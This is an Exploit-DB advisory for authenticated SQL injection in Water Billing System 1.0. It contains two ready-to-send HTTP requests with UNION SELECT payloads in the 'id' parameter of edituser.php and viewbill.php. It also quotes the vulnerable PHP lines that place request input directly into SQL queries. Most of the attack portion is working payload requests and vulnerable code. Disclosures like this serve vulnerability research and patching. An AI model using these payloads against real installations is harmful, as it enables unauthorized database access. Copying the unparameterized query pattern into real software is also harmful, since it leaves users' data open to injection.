Water Billing System 1.0 - 'id' SQL Injection (Authenticated)

EDB-ID:

49048

CVE:

N/A




Platform:

PHP

Date:

2020-11-16


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

# Exploit Title: Water Billing System 1.0 - 'id' SQL Injection (Authenticated)
# Date: 2020-11-14
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Author ID: 8763
# Vendor: https://www.sourcecodester.com/php/14560/water-billing-system-phpmysqli-full-source-code.html
# Version: 1.0
# Tested on: Apache2 and Windows 10

Vulnerable param: id
-------------------------------------------------------------------------
GET /WBS/edituser.php?id=-9%27+UNION+SELECT+1,@@VERSION,3,4--%20- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost/WBS/user.php
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean




-------------------------------------------------------------------------

Source Code: edituser.php

..
..
..
$user_id =$_REQUEST['id'];
$result = mysqli_query($conn,"SELECT * FROM user WHERE id  = '$user_id'");
..
..

-------------------------------

Vulnerable param: id
-------------------------------------------------------------------------
GET /WBS/viewbill.php?id=2%27+union+select+1,2,3,@@version,5,6--+- HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
Origin: http://localhost
Connection: close
Cookie: COOKIE
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------

Source Code: \WBS\viewbill.php

..
..
..
$id =$_REQUEST['id'];
$result = mysqli_query($conn,"SELECT * FROM bill where owners_id='$id'");
..
..

-------------------------------